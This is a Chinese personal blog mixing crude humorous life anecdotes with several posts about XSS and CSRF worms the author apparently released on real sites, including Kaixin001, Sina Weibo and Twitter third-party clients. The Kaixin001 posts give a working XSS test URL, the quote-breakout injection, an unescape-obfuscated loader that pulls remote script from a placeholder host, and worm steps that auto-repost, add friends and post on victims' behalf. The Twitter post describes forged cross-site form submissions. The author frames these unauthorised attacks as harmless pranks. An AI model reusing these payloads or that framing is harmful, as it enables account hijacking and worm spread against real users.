twitter大中华区伪跨站

2010/03/30 22:03:30

今天放在国内的twitter客户端上的蠕虫果然也还算猛。不过仅仅是发个推,关注下我,没干别的坏事,但是某些敏感的极端右派还是有很多感觉很受伤,甚至将我描绘成了共产主义的接班人,竟然认为我是公匪派来摧毁所有第三方客户端的,晕死,我又不是奥特曼,我怎么会那么强大。而且在我解释了以后,竟然有人还这么认为,再怎么说我的twitter签名也是个右派的签名啊,而且我基本只玩新浪微博,不玩推特,但还是搭建了个推特中文圈,这是多么雷锋的精神啊,唉,真是为中国的民主化进程感到担忧

twitter的安全的确做的很棒,想在那上面玩跨站基本没戏
但由于国情的原因,国内的twitter用户大多用的都是客户端,所以如果跨了这些客户端,也基本能达到twitter大中华区伪跨站的效果,于是我看了下用的最广的推特中文圈的代码,有些反射的xss,但总感觉用的会不爽,因为推特客户端种类很多,我不至于每个都去找XSS啊,于是想到了最原始的远程form提交,试了下,果然没做http referer判断,再看下别的客户端,果然也没有限制,基本上可以搞定大部分的客户端了

很快一个思路就有了,原理很简单,技术超简单。建一个页面a.php,放个美女图片,再iframe几个自动提交表单的页面b.php,c.php,因为不同的客户端提交地址会不同,我只加了两种,不过好像可以囊括大部分种类的客户端,a.php把http referer中的蠕虫所在网站的地址传给b.php,c.php,b.php,c.php再去自动提交发布推特,里面包含着随机的诱惑性话语和一个链接地址

然后我再亲自亲手在客户端里点下链接,诱惑性话语就发到自己的推特上了,基本上受过9年制义务教育的男女人看到后都会去点,然后就……,这样就可以跨好多站了,这种情况也就是在客户端这种应用上可以出现

很多半瓶子醋的人看到了我记录了客户端的地址,就说我是在收集第三方推特站的地址然后上交给国务院,心理真够阴暗的,希望你现在能看懂我为什么要记地址了

 

Tags: Posted in 网络安全12 条评论

新浪微博15分钟xss

2009/09/21 14:09:05

我忙了一天,结果蠕虫才传播了15分钟就被干掉了,还是在夜里三点。不过传播很猛,后来新浪微博的人还加了我的MSN,还很客气,真的是处理速度和处理态度都比开心网强多了。开心网上次删了我的很多东西
不过我知道是我做了错事,原则我还是知道的,具体攻击细节,等有时间等好好写下来,超级复杂的过程

Tags: Posted in 网络安全10 条评论

迎接日全湿,勃一下

2009/07/21 00:07:06

上周二办完了辞职手续,双方协议分手,财产归公司所有,办公大楼我没要,当然,公司也没说要给。办离职手续时需要很多人签字,才发现,公司竟然还有这么多地方我没来过,还有这么多的同事我没见过。这样也好,没太多感情的牵挂。

周二晚上和一起离职的测试部的哥们共同请大家吃了顿饭。对领导的感谢,对男同事的不舍,对女同事的更不舍,对未来的纠结,全随着酒,肉,白菜,四季豆,米饭,等一起痛快吐出。那天晚上大家说的黄色笑话是有史以来最多的,也是最恶心的。

我的离去,让部门的扯淡文化,烟文化,足球文化,黄色文化,赌博文化都遭受了重创。特别是赌博文化,那可是我一手靠输钱建立的啊。不过领导应该可以欣慰了。

至于离职的原因,牵扯到很多,宇宙的起源,人性的贪婪,中国民主化进程,生命的短暂,金融危机,房产泡沫,……无所不涉。

浑浑噩噩的休息了几天,每天半个西瓜两碗饭,兴奋在长夜漫漫,白天睡的是天昏地暗。

周六出去踢了场球,大场地,牛博队对对手队,我们大胜。
周日出去踢了场球,大场地,先农坛体育场,代表原公司和央行的客户踢了一场,我们大胜,晚上还陪客户吃了一顿。销售很高兴,客户也很高兴,我们白踢白吃,更是高兴。唉,纳税人的钱啊,就这样被我们白白糟蹋了。小姐的睡,农民工的累,中产阶级的税,党员生活保障三大支柱啊。

今天是到新公司上班的第一天,装开发环境装了一天,我也装儒雅装了一天。

技术部的同事们第一感觉都还不错。至于其他部门的同事,还没接触,印象不详,男的没细看,也不敢细看,怕误会。女的倒是想细看,没好意思细看,怕误会。总体印象,狼多肉少。

办公环境跟原公司完全两个风格,各有特色。但都有共同点,就是都有大量的声音发出。天融信是上百台防火墙发声,新公司则是电话销售的声音。

而我又要拾起丢了一年多的web开发,甚至还要去做flex。暂先告别c++了,还有我刚涉足的silverlight。

回来的地铁上,旁边坐着一个初中生小姑娘,白皙水嫩的皮肤。我当时就感概的想,叔叔当年也像你这么嫩过。

Tags: Posted in 感想随笔6 条评论

2009/05/01 23:05:02

昨天包落地铁上了,手机,钱包,身份证,银行卡,工卡,内存条,烟,打火机,钥匙全丢了
发了短信,我的手机已关机,地铁站说了,几个站点都没发现,心碎,估计已经被不熟悉的陌生人保管了
报应啊,偏偏我今天包里多了个内存条,正好就今天丢了,我小的时候偷过西瓜,真的是报应啊,出来混迟早是要还的
回去折腾了下,把信用卡挂失了,其他的得等补办身份证才能办
洗澡时,暗自发誓,我要报复这个社会,这时候,发现房东失踪了好久的小乌龟跑出来了,我突然想起,我是上帝走失的爹,第八感强烈的告诉我,我的命运不该如此,于是我高高兴兴的睡觉去了
所以,一早,我们接到了我手机打来的电话,让我下午去取包
取了包,给了他200,很感谢他,还是好心人多,他说我手机没电了,回去充了一夜电,而且昨晚也太累,所以早上才给我打电话,但我还是很感谢他了

Tags: Posted in 感想随笔13 条评论

又一个开心网漏洞

2009/04/27 16:04:47

测试链接 http://www.kaixin001.com/home/?_preview=other%22;alert(/aaa/);ab=%22as
现已经被封,跟上次一样,我又恶作剧了一把,蠕虫活了几个小时,但效果没上次广泛
这个漏洞很简单,但是那个参数不是用户输的,所以别人可能没检测到

Tags: Posted in 网络安全我抢沙发

开心网xss漏洞

2009/04/25 23:04:55

这两天在研究开心网的偷菜,想弄个自动偷菜的程序,(我当然不会是喜欢偷菜,开心网那些互动基本提不起我的兴趣,是为了小乖猫而已)忽然想起开心网互动性这么强,会不会有什么XSS或csrf漏洞什么的呢,所以我就开始试着找了
想起最近开心网新出了个转贴的组件,直觉告诉我那可能有问题,要不为什么在我想研究开心网的时候推出呢,呵呵
去看了一下,发现转贴的链接地址是以这种形式打开的onclick=“javascript:showOtherUrlView(‘http://www.topsec.com.cn’,'view_5715644_3025611′);”,这个函数会先判断你的链接是不是开心网的,是的话直接打开,不是的话会有警告提示
直觉告诉我可以利用,要不他为什么要弄得这么麻烦呢,越麻烦越危险。思考了下,我构造了一个这样的链接http://www.kaixin001.com’,”);alert(‘test’);
showOtherUrlView(‘,然后提交了,成功了,而且没有被过滤,点了一下,果然弹出了个test的提示框,呵呵,有戏。
因为这时候打开链接的代码变成了这样
onclick=“javascript:showOtherUrlView(‘http://www.kaixin001.com‘,”);alert(‘test’);showOtherUrlView(”,”);“这样的话,就欺骗了它,执行了我们自己的js了
接下来是看怎么利用,盗cookie?挂马?不,那不是我这样良好市民干的事。忽然我有点子了,还是弄点有意思的玩玩吧,还是为了小乖猫,看看csrf方面有什么好玩的
不过接下来发现它对空格有过滤,而且还会转大小写,还会过滤些危险的js,所以就又麻烦了
不过困难怎么会阻挠25虚岁的花季熟男的脚步呢
(unescape(‘%76ar%20s%3ddocumen%74.crea%74e%45lemen%74%28%27s%63%72%69pt%27%29%3bs.%73rc%3d%27http%3a//url/iii.%6A%73%27%3Bdocumen%74.bo%64y.appen%64Chil%64%28s%29′)
换种执行方式,把要执行的代码编码后再执行,果然,成功了
加密部分是var s=document.createElement(‘script’);s.src=’http://url/iii.js’;document.body.appendChild(s)的变形
接下来是干什么呢,起码让他起到传播效果吧,所以,首先得让人点击后能把这个内容复制一份,自动发到他自己的转贴中去,这样,传播的效果才会猛
所以抓了个包,看了下发转贴的数据,然后在js里用ajax发了个同样的post,(起先打算直接在js里直接构造form提交的,但那样用户体验不好,我要求的用户体验是用户一点体验都没有,而且不能同时发多个post),但是,奇怪,总是不成功,返回数据告诉我没有权限,真他阿姨的奇怪了,抓包比对了一下,发现格式基本一样,就是cookie里的一个字段不一样,开始怀疑是这个问题,为了验证下,我在本地写了个form提交了下,竟然成功了,看来跟cookie无关,晕,我茫然了,开始折腾………………………………两个小时过去了,终于问题发现了,是我ajax里的测试数据内容太短了,晕,发表个内容而已,又不是睡觉觉,干嘛非要长啊
终于,搞定了,测试了下,点击后可以自动发一条了
接下来就是该干点别的了
让他们加我为好友吧,抓了下数据,很简单的POST,OK了
让他们给小乖猫留言说羡慕她吧,
抓了下数据,很简单的POST,OK了(在这我犯了个奇丑无比的错误,非好友是不能留言的)
让他们加我为好友吧,让我也知道有多少人中蠕虫了,
抓了下数据,很简单的POST,OK了
让他们在他的记录里写下祝我们快乐吧,抓了下数据,不简单的POST,不OK了,里面竟然有个验证码类的字段,验证码生成的,是记录那个页面的服务端返回的,而且都是写死在代码里的,忽然想起转贴的页面也有个验证码,是在js里用变量定义的,用起来很方便,但两个的值不一样,怎么办?不过试了下,竟然好用

最后整理了下要转贴的内容,标题是:开心网员工的秘密博客,内容是:好不容易才发现的,里面有很多劲爆的内容,然后填上欺骗的链接,我就不信没人点
然后测试了下,没问题,就睡觉了
早上起来打开电脑,晕,没有一个加我好友的,但一看,我的好友们都还没上线,还没人帮我传播呢
去上班了,吃完早饭,打开电脑一看,5000多要加我为好友的,,比我想象的还要猛,我正在憧憬着一天下来的话,开心网上所有的页面都会是我的转贴,每个人都会发条记录祝福我
不过,日,开心网很快就发现了,找到了我的JS,利用SQL语句批量,删了所有已经发生的,也修改了BUG,我损失比较大的是,他们删了我所有的系统信息,以及我的大部分好友,晕,删我新加的好友我可以理解,但把我一部分本来就是我的好友删了我很不能理解,但却不是全删,不知道用的是什么规则

OK,就是这样的,还好没被不法分子利用。


Tags: Posted in 网络安全3 条评论

我晕,喝酒把脸喝肿了

2009/02/22 01:02:30

昨天是公司的年会,是我来公司后参加的第一个年会,因为我们公司是有国家政策扶持和补贴的,所以开始时要求全场起立唱国歌,主持人的开场白套用了郭德纲相声上的选段,把全场男女带入了高潮,今年的年会比往年省了很多,没有表演,没有抽奖,也不管饭,就是领导讲话和互动问答,最后还有个表彰大会

从友谊宾馆出来后就是各回各家各找各妈,我们部门得奖金的优秀员工请吃饭,其实我也想请,可惜我获提名的那个奖我没被选上,我们随便找了一家吃,喝了点酒,因为秦捷同志从小对别人喝酒有阴影,所以我没喝白的,也就喝了两瓶多的啤酒,中间还去抠了吐了,然后有事就先走了,没去参加唱歌活动了,走的时候我神志清醒,充满活力

然后去接了可爱的秦捷同志,然后就是回家,城铁的动力依然是那么强劲,车一颠一颠,我靠着栏杆也跟着一颤一颤,车厢有点热,快到要下车时,我突然感觉四肢乏力,全身发虚,两眼发黑,有点晕车的感觉,还好要到了,我赶紧低腰扶着栏杆,终于车缓慢的停了

忽然感觉脸有点疼,我一看,我正躺在站台的地上,赶紧爬了起来坐在地上,站台上已经空空的了,秦捷同志蹲在我的旁边,还有几个人站在旁边问我要不要送医院 什么的,我突然就明白了我可能是晕倒了,难怪我的小白脸这么疼,我赶紧跟人家说没事没事,就是喝了点酒,不舒服,他们就走了,真的谢谢他们

然后我就此情况同秦捷同志进行了交流
我:“我是在车上晕倒的?你扶我下来的?”
可爱的秦捷同志:“没有,你跟着我后面下车的,我听着声音,回头一看,你已经在地上了”(也是,车上晕的话脸应该没这么疼)
我:“我记得我在车上时,我是低腰扶着把手的啊,你没管我自己就下车了?”
可爱的秦捷同志:“我以为你开玩笑的,我下车时你还在那不动,我招呼你下,你就跟着下了”(真是可爱的秦捷同志,对于喝酒的人就该这样)
我:“难道我是自己下的车?”(我真的不记得我下车了,我脑海里都不曾记得有车门开的镜头)
可爱的秦捷同志:“嗯,然后你就倒了,我吓坏了,当时都不想管你了”(唉,秦捷同志简直是太可爱了)

天哪,太可怕了,原来有些东西竟然是我自己不能掌控的,那种感觉像是睡了一觉,又突然醒了,还好我采用的是空对地直接用脸对地面进行垂直打击的战术,这样疼痛能让我醒的更快点,要不就真的得送医院了

再一想我就想乐,太他妈奇妙了,我竟然自己松了扶手,看着车门,下了车,但我自己却一点印象也没有,太他妈好笑了,难道我的身体不应该是由我自己控制的 吗,这片神奇的土地难道真的没有人权了吗,莫非这就是传说中的偶像剧里的失忆?这种感觉真的很奇妙,我终于又丰富了我的多彩的人生

那几十秒的事情有写入我脑中吗,还是存储了我现在读不出来而已,还是根本就没写入我脑中的数据库,我今天再坐城铁时,下车前还特意还慢走了会,看看熟悉的 场景能不能勾起我昨晚的记忆,电视剧上不都是这么演的么?可惜,很快就被别人挤下车了,难道我的记忆长河里永远要缺失这几十秒?

科学分析表明:可能是喝酒引起的低血糖,又加上点晕车的原因
回家一照镜子,灯光下我的那张小白脸,右脸明显发福,透着一种不对称美
喝酒害人啊,不但伤肝,还能毁容,而且还伤感情,还伤心,可爱的秦捷同志又对我进行了严肃的批评,但是,我真的没怎么喝

我晕,这回是真的晕了

Tags: Posted in 感想随笔5 条评论

西二旗城铁少妇传奇

2008/10/16 00:10:12

今天晚上在公司干活忙到11点,然后匆匆去赶那最后一趟城铁,刷卡,小跑上楼,刚要下楼,忽见楼下平地一女背包蹲地,二十五六七八岁左右,侧对着我,作沉思状,怎么了,失恋了?听到脚步,她也蓦然回首,呈木然状,并夹杂几分羞涩,那份羞涩是幼儿园时期的那个可爱逼人的我常能碰见的,难道我下楼的姿势的确很帅?难道传言都是真的?

忽然,听到异样的声响,嗯?什么声音?好像是大规模液体从橡胶小孔中急速流出的声音,难道有人要用水枪呲我?下楼姿势帅也有错?不对,声音好像是那位姑娘发出的,看来不是呲我的,呲我的话起码也要站起来呲啊,不过细一看,好像她没拿水枪,啊?好恐怖,莫非她用的就是近期重现江湖的号称“看似无形,实则无形,杀人更无形”的1986年全球限量销售一把的超级小水枪?难道传言都是真的?

从声音分析,此水枪杀伤力非同小可,足以击地为坑,身正不怕凶器,我挺了挺胸器,继续往下走,忽想,不对,怎么感觉这姿势,这声音,怎么跟年轻时研究过的日本文艺片里的某些场景完全一样,这时候,成熟男人的理性思维开始转动,结合多年的经验以及对如厕时隔壁声音的回忆,分析结果告诉我,这位姑娘可能在尿尿,顿时,炯炯有神的我的小眼开始聚焦,锁定目标,扫描景象,加入马赛克,输入脑中,分析处理,后台返回值告诉我,她不是可能在尿尿,她就是在实实在在的尿尿,那一刻,我脑袋一片空白,儿时的梦想实现的太突然,幸福的有点措手不及

先远观然亵玩焉?NO,那是上个月的我,在全球金融动荡的今天,我成熟了,绯红爬上了脸上的肥肉,双脚颤抖的我转身了,从另一边下楼了,边下边惆怅,为什么我不敢下去呢?我有什么可怕的呢?下楼姿势帅真有错?再回去?不行,成熟男人不会这么干的,可是,的确可惜,我或许可以借此来敲诈她而一夜暴富,或是威胁她当我同事女朋友来混顿饭吃,总之,的确可惜,所以,在人生的道路上,没有勇气往往会错过许多

不过细一想,还好我没下去,我这个月刚成熟,还不能完全把控自己,万一经不住水枪的威力,到时候地铁里的摄像头会记录下我奋不顾身的场景,哇,好险

当我到铁轨边时,姑娘早已等候在另一边,站台上就我俩,她看了我一眼,就转过身去,我赶紧躲在广告牌后,羞死人了,上车时,在互相的侧头相望中,我们依依惜别,姑娘,后会有期,我可能不是唯一见你如厕的男人,但你是第二个被我看见如厕的女人

唉,地铁啊地铁,别以为你在市区混就把自己不当火车了,你带来了高速,成了都市人们急速匆匆的写照,那位姑娘可能是怕错过最后一趟的你吧,你就不能再晚一个小时嘛,或者,你让你的主人们两边都弄一个厕所也成啊

Tags: Posted in 感想随笔9 条评论

季记

2008/10/12 02:10:38

不知道从何时起,我就不怎么更新博客了,可能是没时间的原因吧,或是生活过得太充实了,也或是生活过的单调了,还有就是可能也更懒了,然后就形成了一种惯性,就一直懒得更新了

 

今天偶遇一网友才得知,人家是从小看着我的博客成长的,伴随着她度过了懵懂的青春期,说是我的粉丝,女为悦己者容,男为阅鸡者勃,男为悦己者博,所以我决定还是要重新好好写下博了,起码要提高更新频率,趁自己脑子还好用的时候好好的记录下自己从花季成长为成熟男人的心路历程,或是些好玩的东西,或是些有用的资料

 

这样就不会浪费关心我的高尚的朋友们的进来的点击,起码还可以免得痛恨我的人在家里心急如焚,因为他可能曾烧香求佛保佑我出车祸,但却一直得不到确切消息而没法去还愿,这样那些神佛们就没有香火钱了,这样和尚们嫖娼的次数就少了,自然小姐们的收入就少了,自然包夜的价格就提高了,自然富人们就变本加厉的榨取工农人民的血汗钱了,自然房价就提高了,自然山麓奶粉就出问题了,这样社会就不和谐了,牛博流量就又上升了,世界运动会圆满成功给世人的印象就要打折扣了,这样社会就不和谐了,胡、佳差点都得诺贝尔了,这样人民公仆就坐不住了,共匪很生气,后果很严重

 

所以为了社会的和谐,作为一名中国人,我觉得肩上的担子很沉重

儒雅,高尚,德高望重这些词在沉寂了几千年后,终于找到了能够诠释它们的主人,我将继续以身作则来向世人展现这些词的更深层次的含义

 

最近生活很稳定,有了一只可爱的小乖猫,而且越来越乖,所以爱情稳定,不再那么忙了,所以工作也稳定,近一个月我回家两趟,呆了有半个月,所以家庭也很稳定,子女们也一直保持稳定,因为一直就没有,火车票也很稳定,还是那么的难买,老家人民的素质也很稳定,火车上我又碰到打架的了

 

赌运也很稳定,回家赌钱也赌了几场,赢了几块钱,跟朋友去洗脚,发现家乡小姐们情绪也都很稳定

在这世界金融动荡的今天,在这SB人,SB事,SB制度横飞的神奇土地,我的周围都很稳定,实属不易

 

不过我家隔壁开始盖房子了,因为历史遗留的问题,我家局部地区也必须要跟着重建,所以中国的房地产最近很不稳定,相对应的我的银行卡的余额也很不稳定,呈下降趋势

 

减肥运动还算稳定,基本有时间就去踢球,牛博足球队和公司都有球踢,时间还不冲突,不过减肥口号喊了十几年了,好像收效甚微,而且踢球却把腿踢得越来越粗,唯一可惜的是不是所有的腿都能越踢越粗

 

那就这样吧,谁让我是对猪肉消化吸收很好的人呢,还是先吃好身体吧,广积粮,缓称王,等攒足了力气再去减肥吧,因为运动减肥才是最有效的,而运动是需要力气的

 

最近公司有足球赛,五人制的,我们第一场6比0大胜,我梅毒二开,独中两块,不知道哪个同事在楼上拍下了我的进球视频,如果是男同事的话,我要对他说声谢谢,中国妇联告诉我们要尊重女同胞,所以如果是女同事的话,我要握着她的双手,拥抱着跟她说谢谢

 

打工能力上,目前正处于上升期,也学了不少东西,跟公司球友喝酒聊天才发现,研发部门的待遇简直跟销售实施没法比,而且没有灰色收入,洗脚娱乐的机会也没别人多,不过人各有志,看你需求了,而且哪行都不好干,都需要能力,真有能力的话,就是科学养猪也能发家致富,而且看猪看腻了,会觉得世界很美,吃猪吃腻了,就会去吃草,还能减肥

 

                                                                  —吕诗人 于2008.10.12凌晨

Tags: Posted in 感想随笔1 条评论

洪水

2008/08/02 00:08:53

哦也,家里发大水了~

Tags: Posted in 未分类4 条评论